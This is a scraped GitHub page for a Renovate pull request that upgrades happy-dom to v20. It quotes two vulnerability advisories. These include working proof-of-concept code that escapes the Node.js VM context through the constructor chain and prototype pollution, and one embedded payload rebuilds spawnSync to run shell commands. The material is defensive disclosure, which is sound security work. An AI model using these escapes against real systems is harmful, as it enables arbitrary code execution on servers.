chore(deps): update dependency happy-dom to v20 [security] #445

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Open

renovate wants to merge 1 commit into master

from renovate/npm-happy-dom-vulnerability

Open

chore(deps): update dependency happy-dom to v20 [security] #445

renovate wants to merge 1 commit into master from renovate/npm-happy-dom-vulnerability

+17 −12

Conversation

@renovate

Copy link

Contributor

@renovate renovate bot commented Nov 6, 2024 •

edited

Loading

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	`^14.12.3` -> `^20.0.0`	age	confidence

GitHub Vulnerability Alerts

Impact

Consumers of the NPM package happy-dom

Patches

The security vulnerability has been patched in v15.10.2

Workarounds

No easy workarounds to my knowledge

References

#1585

Escape of VM Context gives access to process level functionality

Summary

Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.

It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.

Reproduce

CommonJS (Possible to get hold of require)

const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
 <script>
 const process = this.constructor.constructor('return process')();
 const require = process.mainModule.require;

 console.log('Files:', require('fs').readdirSync('.').slice(0,3));
 </script>
`);

ESM (Not possible to get hold of import or require)

const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
 <script>
 const process = this.constructor.constructor('return process')();

 console.log('PID:', process.pid);
 </script>
`);

Potential Impact

Server-Side Rendering (SSR)

const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;

Testing Frameworks

Any test suite using Happy-DOM with untrusted content may be at risk

Attack Scenarios

Data Exfiltration: Access to environment variables, configuration files, secrets
Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
Code Execution: Child process access for running arbitrary commands
Persistence: File system access

Recommended Immediate Actions

Update Happy DOM to v20 or above
- This version has JavaScript evaluation disabled by default
- This version will output a warning if JavaScript is enabled in an insecure environment
Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
- This makes sure that evaluation can't be used at process level to escape the VM
- eval() and Function() can still be used within the Happy DOM VM without any known security risk
- Happy DOM v20 and above will output a warning if this flag is not in use
If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment

Technical Root Cause

All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.

Running Node with the "--disallow-code-generation-from-strings" flag protects against this.

CVE-2025-62410

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
 function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
 this.constructor.constructor.__proto__.__proto__.toString = f;
 this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
 // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf

</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Release Notes

capricorn86/happy-dom (happy-dom)

Uh oh!

chore(deps): update dependency happy-dom to v20 [security] #445

Are you sure you want to change the base?

chore(deps): update dependency happy-dom to v20 [security] #445

Conversation

@renovate renovate bot commented Nov 6, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Impact

Patches

Workarounds

References

Escape of VM Context gives access to process level functionality

Summary

Reproduce

CommonJS (Possible to get hold of require)

ESM (Not possible to get hold of import or require)

Potential Impact

Server-Side Rendering (SSR)

Testing Frameworks

Attack Scenarios

Recommended Immediate Actions

Technical Root Cause

Summary

Details

PoC

Impact

Recommended Immediate Actions

Release Notes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

💣 Breaking Changes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

💣 Breaking Changes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

💣 Breaking Changes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

@renovate renovate bot commented Nov 6, 2024 •

edited

Loading